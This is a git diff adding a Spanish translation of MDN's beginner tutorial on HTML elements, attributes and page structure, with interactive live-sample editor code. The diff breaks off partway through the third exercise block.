diff --git a/files/es/learn/html/introduccion_a_html/iniciar/index.html b/files/es/learn/html/introduccion_a_html/iniciar/index.html
new file mode 100644
index 0000000000..c05aa6a9f0
--- /dev/null
+++ b/files/es/learn/html/introduccion_a_html/iniciar/index.html
@@ -0,0 +1,767 @@
+---
+title: Empezar con HTML
+slug: Learn/HTML/Introduccion_a_HTML/iniciar
+tags:
+  - Atributos
+  - Elemento
+  - Guía
+  - HTML
+  - Principiante
+  - comentários
+translation_of: Learn/HTML/Introduction_to_HTML/Getting_started
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{NextMenu("Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML", "Learn/HTML/Introduction_to_HTML")}}</div>
+
+<p class="summary">En este artículo vamos a exponer lo más básico del HTML. Para comenzar definiremos elementos, atributos y el resto de términos importantes que quizá ya te suenen y qué función cumplen dentro del lenguaje. También explica dónde encajan estos en HTML. Aprenderás cómo se estructuran los elementos HTML, cómo se estructura una página HTML típica y otras características básicas importantes del lenguaje. Por el camino, también iremos practicando con algo de HTML.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Conocimientos básicos de informática, {{web.link("/es/docs/Learn/Getting_started_with_the_web/Installing_basic_software", "tener instalado el software básico")}} y conocimientos básicos de cómo {{web.link("/es/docs/Learn/Getting_started_with_the_web/Dealing_with_files", "trabajar con archivos")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Familiarizarte con el lenguaje HTML, y adquirir algo de práctica escribiendo unos pocos elementos HTML.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="¿Qué_es_el_HTML">¿Qué es el HTML?</h2>
+
+<p>{{Glossary("HTML")}} ("<em>Hypertext Markup Language</em>") no es un lenguaje de programación. Es un <em>lenguaje de marcado</em> que le dice a los navegadores web cómo estructurar las páginas web que estás visitando. Puede ser tan complejo o tan simple como desee el desarrollador web. El HTML consiste en una serie de {{Glossary("Element", "elementos")}}, que puedes utilizar para encerrar, delimitar o <em>marcar</em> diferentes partes del contenido para hacer que aparezcan de una cierta manera, o actúen de determinada forma. Las {{Glossary("Tag", "etiquetas")}} que delimitan un fragmento de contenido pueden hacer que dicho contenido enlace con otra página, ponga una palabra en cursiva, etcétera. Por ejemplo, dada la siguiente línea de contenido:</p>
+
+<pre class="brush: bash notranslate">Mi gato es muy gruñón</pre>
+
+<p>Si queremos que la línea sea independiente de otras, podemos especificar que es un párrafo encerrándola con una etiqueta de elemento de párrafo ({{htmlelement("p")}}):</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;Mi gato es muy gruñón&lt;/p&gt;</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Las etiquetas en HTML no distinguen entre mayúsculas y minúsculas. Así que se pueden escribir tanto en mayúsculas como en minúsculas. Por ejemplo, una etiqueta {{htmlelement("title")}} se puede escribir como <code>&lt;title&gt;</code>, <code>&lt;TITLE&gt;</code>, <code>&lt;Title&gt;</code>, <code>&lt;TiTle&gt;</code>, etc., y funcionará correctamente. La mejor práctica, sin embargo, es escribir todas las etiquetas en minúsculas para mantener la coherencia y legibilidad, entre otros motivos.</p>
+</div>
+
+<h2 id="Anatomía_de_un_elemento_HTML">Anatomía de un elemento HTML</h2>
+
+<p>Exploremos un poco el elemento párrafo:</p>
+
+<p><img alt="Anatomía de los elementos HTML" src="https://mdn.mozillademos.org/files/11913/htmlexp.png" style="display: block; height: 255px; margin: 0px auto; width: 821px;"></p>
+
+<p>Las principales partes de nuestro elemento son:</p>
+
+<ul>
+ <li>La <strong>etiqueta de apertura</strong>: consiste en el nombre del elemento (en este caso, <code>p</code>), encerrado entre <strong>paréntesis angulares</strong> de apertura y cierre. Esta etiqueta de apertura marca dónde comienza el elemento o comienza a tener efecto. En este ejemplo, precede al comienzo del texto del párrafo.</li>
+ <li>El <strong>contenido</strong>: Este es el contenido del elemento. En este ejemplo, es el texto del párrafo.</li>
+ <li>La <strong>etiqueta de cierre</strong>: Es lo mismo que la etiqueta de apertura, excepto que incluye una barra diagonal antes del nombre del elemento. Esto indica dónde termina el elemento; en este caso, dónde finaliza el párrafo. No incluir una etiqueta de cierre es un error común de principiante, y puede conducir a extraños resultados.</li>
+</ul>
+
+<p>El <strong>elemento</strong> lo conforman la etiqueta de apertura, seguida del contenido, seguido de la etiqueta de cierre.</p>
+
+<h3 id="Aprendizaje_activo_crear_tu_primer_elemento_HTML">Aprendizaje activo: crear tu primer elemento HTML</h3>
+
+<p>Edita la siguiente línea en el área <em>Entrada</em> envolviéndola con las etiquetas <code>&lt;em&gt;</code> y <code>&lt;/em&gt;</code>. Para <em>abrir el elemento</em>, coloca la etiqueta de apertura <code>&lt;em&gt;</code> al principio de la línea. Para <em>cerrar el elemento</em>, coloca la etiqueta de cierre <code>&lt;/em&gt;</code> al final de la línea. ¡Obtienes una línea en cursiva! Puedes ver tus cambios actualizados automáticamente en la caja de texto de <em>Salida</em>.</p>
+
+<p>Si te equivocas, siempre puedes volver al código anterior mediante el botón <em>Restablecer</em>. Si te quedas realmente atascado, pulsa el botón <em>Mostrar la solución</em> para ver la solución.</p>
+
+<div class="hidden">
+<h6 id="Código_reproducible">Código reproducible</h6>
+
+<pre class="brush: html notranslate">&lt;h2&gt;Salida en vivo&lt;/h2&gt;
+&lt;div class="output" style="min-height: 50px;"&gt;
+&lt;/div&gt;
+
+&lt;h2&gt;Código editable&lt;/h2&gt;
+&lt;p class="a11y-label"&gt;Pulsa Esc para quitar el foco del área de código (Tab inserta un carácter de tabulación).&lt;/p&gt;
+
+&lt;textarea id="code" class="playable-code" style="min-height: 100px;width: 95%"&gt;
+  Este es mi texto.
+&lt;/textarea&gt;
+
+&lt;div class="controls"&gt;
+  &lt;input id="reset" type="button" value="Restablecer" /&gt;
+  &lt;input id="solution" type="button" value="Mostrar solución" /&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">html {
+  font-family: 'Open Sans Light',Helvetica,Arial,sans-serif;
+}
+
+h2 {
+  font-size: 16px;
+}
+
+.a11y-label {
+  margin: 0;
+  text-align: right;
+  font-size: 0.7rem;
+  width: 98%;
+}
+
+body {
+  margin: 10px;
+  background: #f5f9fa;
+}
+</pre>
+
+<pre class="brush: js notranslate">var textarea = document.getElementById('code');
+var reset = document.getElementById('reset');
+var solution = document.getElementById('solution');
+var output = document.querySelector('.output');
+var code = textarea.value;
+var userEntry = textarea.value;
+
+function updateCode() {
+  output.innerHTML = textarea.value;
+}
+
+reset.addEventListener('click', function() {
+  textarea.value = code;
+  userEntry = textarea.value;
+  solutionEntry = htmlSolution;
+  solution.value = 'Mostrar solución';
+  updateCode();
+});
+
+solution.addEventListener('click', function() {
+  if(solution.value === 'Mostrar solución') {
+    textarea.value = solutionEntry;
+    solution.value = 'Ocultar solución';
+  } else {
+    textarea.value = userEntry;
+    solution.value = 'Mostrar solución';
+  }
+  updateCode();
+});
+
+var htmlSolution = '&lt;em&gt;Este es mi texto.&lt;/em&gt;';
+var solutionEntry = htmlSolution;
+
+textarea.addEventListener('input', updateCode);
+window.addEventListener('load', updateCode);
+
+// captura la tecla de tabulación en el área de texto y en su lugar
+// hace que se escriba una tabulación en la posición del cursor
+
+textarea.onkeydown = function(e){
+  if (e.keyCode === 9) {
+    e.preventDefault();
+    insertAtCaret('\t');
+  }
+
+  if (e.keyCode === 27) {
+    textarea.blur();
+  }
+};
+
+function insertAtCaret(text) {
+  var scrollPos = textarea.scrollTop;
+  var caretPos = textarea.selectionStart;
+
+  var front = (textarea.value).substring(0, caretPos);
+  var back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length);
+  textarea.value = front + text + back;
+  caretPos = caretPos + text.length;
+  textarea.selectionStart = caretPos;
+  textarea.selectionEnd = caretPos;
+  textarea.focus();
+  textarea.scrollTop = scrollPos;
+}
+
+// Actualiza el userCode guardado cada vez que el usuario actualiza el código del área de texto
+
+textarea.onkeyup = function(){
+  // Solo queremos guardar el estado cuando se muestra el código de usuario,
+  // no es la solución, por lo que la solución no se guarda sobre el código del usuario
+  if(solution.value === 'Mostrar solución') {
+    userEntry = textarea.value;
+  } else {
+    solutionEntry = textarea.value;
+  }
+
+  updateCode();
+};</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Código_reproducible', 700, 400, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<h3 id="Elementos_anidados">Elementos anidados</h3>
+
+<p>Se pueden poner elementos dentro de otros elementos. Esto se llama <strong>anidamiento</strong>. Si quisiéramos decir que nuestro gato es <strong>muy</strong> gruñón, podríamos encerrar la palabra <em>muy</em> en un elemento {{htmlelement("strong")}} para que aparezca destacada.</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;Mi gato es &lt;strong&gt;muy&lt;/strong&gt; gruñón.&lt;/p&gt;</pre>
+
+<p>Hay una forma correcta e incorrecta de anidar. En el ejemplo anterior, primero abrimos el elemento <code>p</code>, luego abrimos el elemento <code>strong</code>. Para un anidamiento adecuado, primero debemos cerrar el elemento <code>strong</code>, antes de cerrar el <code>p</code>.</p>
+
+<p>El siguiente es un ejemplo de la forma <em>incorrecta</em> de anidar:</p>
+
+<pre class="example-bad brush: html notranslate">&lt;p&gt;Mi gato es &lt;strong&gt;muy gruñón.&lt;/p&gt;&lt;/strong&gt;</pre>
+
+<p>Los elementos tienen que abrirse y cerrarse correctamente para que estén claramente dentro o fuera el uno del otro. Con el tipo de superposición en el ejemplo anterior, el navegador tiene que adivinar tu intención. Este tipo de adivinanzas puede producir resultados inesperados.</p>
+
+<h3 id="Elementos_de_bloque_y_elementos_en_línea">Elementos de bloque y elementos en línea</h3>
+
+<p>Hay dos categorías importantes de elementos en HTML — Estos son los elementos de bloque y los elementos en línea.</p>
+
+<ul>
+ <li>Los elementos de bloque forman un bloque visible en la página. Aparecerán en una línea nueva después de cualquier contenido anterior. Cualquier contenido que vaya después también aparecerá en una línea nueva. Los elementos a nivel de bloque suelen ser elementos estructurales de la página. Por ejemplo, un elemento a nivel de bloque puede representar encabezados, párrafos, listas, menús de navegación o pies de página. Un elemento a nivel de bloque no estaría anidado dentro de un elemento en línea, pero podría estar anidado dentro de otro elemento a nivel de bloque.</li>
+ <li>Los elementos en línea están contenidos dentro de elementos de bloque y delimitan solo pequeñas partes del contenido del documento; (no párrafos enteros o agrupaciones de contenido) Un elemento en línea no hará que aparezca una nueva línea en el documento. Suele utilizarse con texto. Por ejemplo es el caso de un elemento {{htmlelement("a")}} (hipervínculo) o elementos de énfasis como {{htmlelement("em")}} o {{htmlelement("strong")}}.</li>
+</ul>
+
+<p>Considera el siguiente ejemplo:</p>
+
+<pre class="brush: html notranslate">&lt;em&gt;primero&lt;/em&gt;&lt;em&gt;segundo&lt;/em&gt;&lt;em&gt;tercero&lt;/em&gt;
+
+&lt;p&gt;cuarto&lt;/p&gt;&lt;p&gt;quinto&lt;/p&gt;&lt;p&gt;sexto&lt;/p&gt;
+</pre>
+
+<p>{{htmlelement("em")}} es un elemento en línea. Así, como puedes observar, los tres primeros elementos se sitúan en la misma línea, uno tras otro sin espacio entre ellos. Por otro lado, {{htmlelement("p")}} es un elemento a nivel de bloque. Cada elemento <em>p</em> aparece en una nueva línea, con un espacio arriba y abajo. (El espaciado se debe al {{web.link("/es/docs/Learn/CSS/Introduction_to_CSS", "estilo CSS")}} predeterminado que el navegador aplica a los párrafos).</p>
+
+<p>{{ EmbedLiveSample('Elementos_de_bloque_y_elementos_en_línea', 700, 200, "", "") }}</p>
+
+<div class="note">
+<p><strong>Nota</strong>: HTML5 redefinió las categorías de elementos: consulta <a href="https://html.spec.whatwg.org/multipage/indices.html#element-content-categories">Categorías de contenido de elementos</a>. Si bien estas definiciones son más precisas y menos ambiguas que sus predecesoras, las nuevas definiciones son mucho más complicadas de entender que <em>block</em> e <em>inline </em>. Este artículo seguirá con estos dos términos.</p>
+</div>
+
+<div class="note">
+<p><strong>Nota</strong>: Los términos «en bloque» (block) y «en línea» (inline), tal como se usan en este tema, no se deberían confundir con {{web.link("/es/docs/Learn/CSS/Introduction_to_CSS/Box_model#Types_of_CSS_boxes", "los tipos de casillas de CSS")}} que se conocen con el mismo nombre. Aunque de manera predeterminada están relacionados, el hecho de cambiar el tipo de aspecto visual del CSS no cambia la categoría del elemento ni afecta a aquellos elementos que pueda contener. Una de las razones por las que HTML5 abandonó el uso de estos términos fue para evitar este tipo de confusión.</p>
+</div>
+
+<div class="note">
+<p><strong>Nota</strong>: Puedes encontrar referencias útiles que incluyen listas de elementos de bloque y elementos en línea. Consulta {{web.link("/es/docs/Web/HTML/Block-level_elements", "Elementos en bloque")}} y {{web.link("/es/docs/Web/HTML/Elementos_en_línea", "Elementos en línea")}}.</p>
+</div>
+
+<h3 id="Elementos_vacíos">Elementos vacíos</h3>
+
+<p>No todos los elementos siguen el patrón de etiqueta de apertura, contenido y etiqueta de cierre. Algunos elementos consisten solo en una etiqueta única, que se utiliza generalmente para insertar/incrustar algo en el documento en el lugar donde se le quiere incluir. Por ejemplo, el elemento {{htmlelement("img")}} inserta una imagen en la página:</p>
+
+<pre class="brush: html notranslate">&lt;img src="https://raw.githubusercontent.com/mdn/beginner-html-site/gh-pages/images/firefox-icon.png"&gt;</pre>
+
+<p>Este texto mostrará lo siguiente en tu página:</p>
+
+<p>{{ EmbedLiveSample('Elementos_vacíos', 700, 300, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Los elementos vacíos en ocasiones también se llaman elementos <em>nulos</em> o <em>vanos</em> (<em>void elements</em>).</p>
+</div>
+
+<h2 id="Atributos">Atributos</h2>
+
+<p>Los elementos también pueden tener atributos. Los atributos tienen este aspecto:</p>
+
+<p><img alt="atributo html" src="https://mdn.mozillademos.org/files/11915/htmlatributos.png" style="display: block; height: 156px; margin: 0px auto; width: 1287px;"></p>
+
+<p>Los atributos contienen información extra sobre el elemento que no se mostrará en el contenido. En este caso, el atributo <code>class</code> asigna al elemento un identificador que se puede utilizar para dotarlo de información de estilo.</p>
+
+<p>Un atributo debería tener:</p>
+
+<ul>
+ <li>Un espacio entre este y el nombre del elemento. (Para un elemento con más de un atributo, los atributos también deben estar separados por espacios).</li>
+ <li>El nombre del atributo, seguido por un signo igual.</li>
+ <li>Un valor del atributo, rodeado de comillas de apertura y cierre.</li>
+</ul>
+
+<h3 id="Aprendizaje_activo_Añadir_atributos_a_un_elemento">Aprendizaje activo: Añadir atributos a un elemento</h3>
+
+<p>Otro ejemplo de un elemento es {{htmlelement("a")}}. Esto significa <em>ancla</em>. Una ancla puede convertir el texto que encierra en un hipervínculo. Las anclas pueden tener varios atributos, pero varios son como sigue:</p>
+
+<ul>
+ <li><strong><code>href</code></strong>: El valor de este atributo indica la dirección web a la que se quiere que apunte el enlace, que será hacia donde nos lleve el navegador cuando se haga clic sobre el elemento. Por ejemplo, <code>href="https://www.mozilla.org/"</code>.</li>
+ <li><strong><code>title</code></strong>: El atributo <code>title</code> añade información adicional sobre el enlace, como puede ser el título de la página que vinculas. Por ejemplo, <code>title="La página de inicio de Mozilla"</code>. Esta información aparecerá cuando se le pase el ratón por encima.</li>
+ <li><strong><code>target</code></strong>: El atributo <code>target</code> especifica el contexto de navegación que va a usar para mostrar el enlace. Por ejemplo, <code>target="_blank"</code> abrirá el enlace en una nueva pestaña. Si quieres mostrar el enlace en la pestaña activa, simplemente omite este atributo.</li>
+</ul>
+
+<p>Edita la línea de abajo en el área de <em>Entrada</em> para convertirlo en un enlace a tu sitio web favorito.</p>
+
+<ol>
+ <li>Añade el elemento <code>&lt;a&gt;</code>.</li>
+ <li>Añade el atributo <code>href</code> y el atributo <code>title</code>.</li>
+ <li>Especifica el atributo <code>target</code> para abrir el enlace en una nueva pestaña.</li>
+</ol>
+
+<p>Los cambios se actualizarán inmediatamente en la zona de <em>Salida</em>. Deberías ver un enlace que mostrará el contenido del atributo <code>title</code> cuando pases el ratón encima, y que te llevará a la dirección web indicada por el atributo <code>href</code> cuando hagas clic. Recuerda que debes incluir un espacio entre el nombre del elemento y cada atributo.</p>
+
+<p>Si te equivocas, siempre puedes restablecer el código anterior pulsando el botón <em>Restablecer</em>. Si te quedas realmente atascado, pulsa el botón <em>Mostrar la solución</em> para ver la solución.</p>
+
+<div class="hidden">
+<h6 id="Código_reproducible_2">Código reproducible 2</h6>
+
+<pre class="brush: html notranslate">&lt;h2&gt;Salida en vivo&lt;/h2&gt;
+
+&lt;div class="output" style="min-height: 50px;"&gt;
+&lt;/div&gt;
+
+&lt;h2&gt;Código editable&lt;/h2&gt;
+&lt;p class="a11y-label"&gt;Pulsa Esc para quitar el foco del área de código (Tab inserta un carácter de tabulación).&lt;/p&gt;
+
+&lt;textarea id="code" class="input" style="min-height: 100px;width: 95%"&gt;
+  &amp;lt;p&amp;gt;Un enlace a mi sitio web favorito.&amp;lt;/p&amp;gt;
+&lt;/textarea&gt;
+
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="reset" type="button" value="Restablecer"&gt;
+  &lt;input id="solution" type="button" value="Mostrar solución"&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush: css notranslate">html {
+  font-family: sans-serif;
+}
+
+h2 {
+  font-size: 16px;
+}
+
+.a11y-label {
+  margin: 0;
+  text-align: right;
+  font-size: 0.7rem;
+  width: 98%;
+}
+
+body {
+  margin: 10px;
+  background: #f5f9fa;
+}</pre>
+
+<pre class="brush: js notranslate">var textarea = document.getElementById('code');
+var reset = document.getElementById('reset');
+var solution = document.getElementById('solution');
+var output = document.querySelector('.output');
+var code = textarea.value;
+var userEntry = textarea.value;
+
+function updateCode() {
+  output.innerHTML = textarea.value;
+}
+
+reset.addEventListener('click', function() {
+  textarea.value = code;
+  userEntry = textarea.value;
+  solutionEntry = htmlSolution;
+  solution.value = 'Mostrar solución';
+  updateCode();
+});
+
+solution.addEventListener('click', function() {
+  if(solution.value === 'Mostrar solución') {
+    textarea.value = solutionEntry;
+    solution.value = 'Ocultar solución';
+  } else {
+    textarea.value = userEntry;
+    solution.value = 'Mostrar solución';
+  }
+  updateCode();
+});
+
+var htmlSolution = '&lt;p&gt;Un enlace a mi &lt;a href="https://www.mozilla.org/" title="La página de inicio de Mozilla" target="_blank"&gt;sitio web favorito&lt;/a&gt;.&lt;/p&gt;';
+var solutionEntry = htmlSolution;
+
+textarea.addEventListener('input', updateCode);
+window.addEventListener('load', updateCode);
+
+// captura la tecla de tabulación en el área de texto y en su lugar
+// hace que se escriba una tabulación en la posición del cursor
+
+textarea.onkeydown = function(e){
+  if (e.keyCode === 9) {
+    e.preventDefault();
+    insertAtCaret('\t');
+  }
+
+  if (e.keyCode === 27) {
+    textarea.blur();
+  }
+};
+
+function insertAtCaret(text) {
+  var scrollPos = textarea.scrollTop;
+  var caretPos = textarea.selectionStart;
+
+  var front = (textarea.value).substring(0, caretPos);
+  var back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length);
+  textarea.value = front + text + back;
+  caretPos = caretPos + text.length;
+  textarea.selectionStart = caretPos;
+  textarea.selectionEnd = caretPos;
+  textarea.focus();
+  textarea.scrollTop = scrollPos;
+}
+
+// Actualiza el userCode guardado cada vez que el usuario actualiza el código del área de texto
+
+textarea.onkeyup = function(){
+  // Solo queremos guardar el estado cuando se muestra el código de usuario,
+  // no es la solución, por lo que la solución no se guarda sobre el código del usuario
+  if(solution.value === 'Mostrar solución') {
+    userEntry = textarea.value;
+  } else {
+    solutionEntry = textarea.value;
+  }
+
+  updateCode();
+};</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Código_reproducible_2', 700, 400, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<h3 id="Atributos_booleanos">Atributos booleanos</h3>
+
+<p>En ocasiones puedes ver atributos escritos sin valor. Esto está permitido. Estos se denominan atributos booleanos. Los atributos booleanos solo pueden tener un valor, que generalmente es el mismo que el nombre del atributo. Por ejemplo, considera el atributo {{htmlattrxref("disabled", "input")}}, que puedes asignar a los elementos de entrada del formulario. (Usa esto para <em>deshabilitar</em> los elementos de entrada del formulario para que el usuario no pueda realizar entradas. Los elementos desactivados suelen tener una apariencia atenuada). Por ejemplo:</p>
+
+<pre class="brush: bash notranslate">&lt;input type="text" disabled="disabled"&gt;</pre>
+
+<p>De manera abreviada, también es posible escribirlo como se describe a continuación (además, se ha incluido un elemento de entrada de formulario no desactivado como referencia, para dar una idea más precisa de lo que sucede):</p>
+
+<pre class="brush: html notranslate">&lt;!-- el uso del atributo deshabilitado evita que el usuario final introduzca texto en el cuadro de entrada --&gt;
+&lt;input type="text" disabled&gt;
+
+&lt;!-- se permite la entrada de texto, ya que no contiene el atributo deshabilitado --&gt;
+&lt;input type="text"&gt;
+</pre>
+
+<p>Como referencia, el ejemplo anterior también incluye un elemento de entrada de formulario no deshabilitado. El HTML del ejemplo anterior produce este resultado:</p>
+
+<p>{{ EmbedLiveSample('Atributos_booleanos', 700, 100, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<h3 id="Omitir_comillas_en_valores_de_atributos">Omitir comillas en valores de atributos</h3>
+
+<p>Cuando observas diferentes páginas web, puedes encontrarte con todo tipo de estilos de etiquetado extraños, que incluyen valores de atributos sin comillas. Esto se permite en ciertas circunstancias, pero interrumpirá la edición en otras. Por ejemplo, si volvemos a revisar el ejemplo del enlace, sería posible escribir una versión básica con solo el atributo <code>href</code>, así:</p>
+
+<pre class="brush: html notranslate">&lt;a href=https://www.mozilla.org/&gt;mi sitio web favorito&lt;/a&gt;</pre>
+
+<p>Sin embargo, las cosas no funcionarán cuando a este estilo se añada el atributo <code>title</code>:</p>
+
+<pre class="example-bad brush: html notranslate">&lt;a href=https://www.mozilla.org/ title=The Mozilla homepage&gt;mi sitio web favorito&lt;/a&gt;</pre>
+
+<p>En este punto el navegador interpretará mal el cambio y pensará que el atributo <code>title</code> corresponde a tres atributos: un atributo <code>title</code> con el valor <em>The</em> y dos atributos booleanos: <code>Mozilla</code> y <code>homepage</code>. ¡Obviamente, esta no es la intensión! Causará errores o comportamientos inesperados, como puedes ver en el ejemplo en vivo a continuación. ¡Intenta colocar el cursor sobre el enlace para ver el texto del título!</p>
+
+<p>{{ EmbedLiveSample('Omitir_comillas_en_valores_de_atributos', 700, 100, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<p>Incluye <strong>siempre</strong> las comillas de atributos. Evita tales problemas y da como resultado un código más legible.</p>
+
+<h3 id="¿Comillas_simples_o_dobles">¿Comillas simples o dobles?</h3>
+
+<p>En este artículo todos los atributos se han incluido en comillas dobles. Sin embargo, se pueden ver comillas simples en algún código HTML. Es una cuestión de estilo. Puedes elegir libremente cuál prefieres. Ambas líneas de código son equivalentes:</p>
+
+<pre class="brush: html notranslate">&lt;a href="http://www.ejemplo.com"&gt;Un enlace a mi ejemplo.&lt;/a&gt;
+
+&lt;a href='http://www.ejemplo.com'&gt;Un enlace a mi ejemplo.&lt;/a&gt;</pre>
+
+<p>Asegúrate de no mezclar ambos tipos de comillas. El siguiente ejemplo muestra un tipo de mezcla de comillas que saldrá mal:</p>
+
+<pre class="example-bad brush: html notranslate">&lt;a href="http://www.ejemplo.com'&gt;Un enlace a mi ejemplo.&lt;/a&gt;</pre>
+
+<p>Si utilizas un tipo de comillas en tu documento HTML, puedes incluir el otro tipo de comillas para tus valores de atributo sin que esto te cause problemas:</p>
+
+<pre class="brush: html notranslate">&lt;a href="http://www.ejemplo.com" title="¿A que es 'divertido'"&gt;Un enlace a mi ejemplo.&lt;/a&gt;</pre>
+
+<p>Sin embargo, si deseas anidar unas comillas dentro de otras del mismo tipo (ya sea simples o dobles), tendrás que utilizar entidades HTML para las comillas. Por ejemplo, el siguiente código no va a funcionar:</p>
+
+<pre class="example-bad brush: html notranslate">&lt;a href='http://www.ejemplo.com' title='¿A que es 'divertido'?'&gt;Un enlace a mi ejemplo.&lt;/a&gt;</pre>
+
+<p>Así que tendrás que hacer esto:</p>
+
+<pre class="brush: html notranslate">&lt;a href='http://www.ejemplo.com' title='¿A que es &amp;apos;divertido&amp;apos;?'&gt;Un enlace a mi ejemplo.&lt;/a&gt;</pre>
+
+<h2 id="Anatomía_de_un_documento_HTML">Anatomía de un documento HTML</h2>
+
+<p>Los elementos HTML no son muy útiles por sí mismos. Ahora veremos cómo combinar los elementos individuales para formar una página HTML completa:</p>
+
+<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+    &lt;title&gt;Mi página de prueba&lt;/title&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;p&gt;Esta es mi página&lt;/p&gt;
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>Aquí tenemos:</p>
+
+<ol>
+ <li><code>&lt;!DOCTYPE html&gt;</code>: El elemento <em>doctype</em>. En sus inicios, cuando el HTML llevaba poco tiempo (alrededor de 1991-1992), los <em>doctypes</em> servían como enlaces al conjunto de reglas que la página HTML debía seguir para que fuera considerado buen HTML. Un elemento <em>doctype</em> de aquella época podía parecerse a esto:
+
+  <pre class="brush: bash notranslate">&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;</pre>
+  En la actualidad se ignora y se considera un legado histórico que hay que incluir para que todo funcione correctamente. <code>&lt;!DOCTYPE html&gt;</code> es la secuencia de caracteres más corta que se acepta como elemento <em>doctype</em> válido. Eso es lo único que realmente necesitas saber.</li>
+ <li><code>&lt;html&gt;&lt;/html&gt;</code>: El elemento <code>&lt;html&gt;</code>. Este elemento envuelve todo el contenido de la página. A veces se lo conoce como el elemento raíz.</li>
+ <li><code>&lt;head&gt;&lt;/head&gt;</code>: El elemento <code>&lt;{{htmlelement("head")}}&gt;</code> (cabecera). Este elemento actúa como contenedor para todos los parámetros que quieras incluir en el documento HTML que <em>no serán</em> visibles a los visitantes de la página. Incluye cosas como palabras clave y la descripción de la página que quieras mostrar en los resultados de búsqueda, así como la hoja de estilo para formatear nuestro contenido, declaraciones de codificación de caracteres y más. Aprenderás más acerca de esto en el siguiente artículo de la serie.</li>
+ <li><code>&lt;meta charset="utf-8"&gt;</code>: Este elemento establece que tu documento HTML usará la codificación UTF-8, que incluye la gran mayoría de caracteres de todos los idiomas humanos escritos. En resumen: puede gestionar cualquier contenido textual que pongas en tu documento. No hay razón para no configurar este valor y te puede ayudar a evitar problemas más adelante.</li>
+ <li><code>&lt;title&gt;&lt;/title&gt;</code>: El elemento {{htmlelement("title")}}. Este establece el título de la página, que es el título que aparece en la pestaña del navegador en la que se carga la página. El título de la página también se utiliza para describir la página cuando se marca como favorita.</li>
+ <li><code>&lt;body&gt;&lt;/body&gt;</code>: El elemento <code>&lt;body&gt;</code>. Contiene todo el contenido que quieres mostrar a los usuarios cuando visitan tu página, ya sea texto, imágenes, vídeos, juegos, pistas de audio reproducibles o cualquier otra cosa.</li>
+</ol>
+
+<h3 id="Aprendizaje_activo_Añadir_algunas_características_a_un_documento_HTML">Aprendizaje activo: Añadir algunas características a un documento HTML</h3>
+
+<p>Si quieres escribir algo de HTML en tu ordenador local para experimentar, puedes:</p>
+
+<ol>
+ <li>Copiar el ejemplo de la página HTML del punto anterior.</li>
+ <li>Crear un archivo nuevo en un editor de texto.</li>
+ <li>Pegar el código en el nuevo archivo de texto.</li>
+ <li>Guardar el archivo como <code>index.html</code>.</li>
+</ol>
+
+<div class="note">
+<p><strong>Nota</strong>: También puedes encontrar esta plantilla básica de HTML en el <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html">repositorio GitHub del Área MDN Learning</a>.</p>
+</div>
+
+<p>Ahora puedes abrir este archivo en un navegador web para ver cómo se ve el código renderizado. Edita el código y actualiza el navegador para ver cuál es el resultado. En principio se verá algo así:</p>
+
+<p><img alt="Una sencilla página HTML que dice esta es mi página" src="https://mdn.mozillademos.org/files/12279/template-screenshot.png" style="display: block; height: 365px; margin: 0px auto; width: 595px;">En este ejercicio, puedes editar el código en tu ordenador como se indica arriba, o puedes editarlo en la ventana editable que tienes a continuación (la ventana editable representa solo el contenido del elemento {{htmlelement("body")}}, en este caso). Intenta reproducir los siguientes pasos:</p>
+
+<ul>
+ <li>Justo debajo de la etiqueta de apertura {{htmlelement("body")}}, añade un título principal para el documento. Este deberá estar dentro de una etiqueta de apertura <code>&lt;h1&gt;</code> y una etiqueta de cierre <code>&lt;/h1&gt;</code>.</li>
+ <li>Edita el contenido del párrafo e incluye algún texto sobre algo que te interese.</li>
+ <li>Pon las palabras importantes dentro de etiquetas <code>&lt;strong&gt;</code> de apertura y <code>&lt;/strong&gt;</code> de cierre para que destaquen en negrita.</li>
+ <li>Añade un enlace a tu párrafo, como se ha explicado {{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/Getting_started#Active_learning_Adding_attributes_to_an_element", "anteriormente en este mismo artículo")}}.</li>
+ <li>Agrega una imagen a tu documento. Colócala debajo del párrafo, como {{web.link("/es/Learn/HTML/Introduction_to_HTML/Getting_started#Empty_elements", "se explicó anteriormente en el artículo")}}. Ganarás puntos extra si consigues enlazar a una imagen diferente (de tu propio ordenador o de cualquier otro lugar de la web).</li>
+</ul>
+
+<p>Si te equivocas, siempre puedes restablecer el código anterior pulsando el botón <em>Restablecer</em>. Si te quedas realmente atascado, pulsa el botón <em>Mostrar la solución</em> para ver la solución.</p>
+
+<div class="hidden">
+<h6 id="Código_reproducible_3">Código reproducible 3</h6>
+
+<pre class="brush: html notranslate">&lt;h2&gt;Salida en vivo&lt;/h2&gt;
+
+&lt;div class="output" style="min-height: 50px;"&gt;
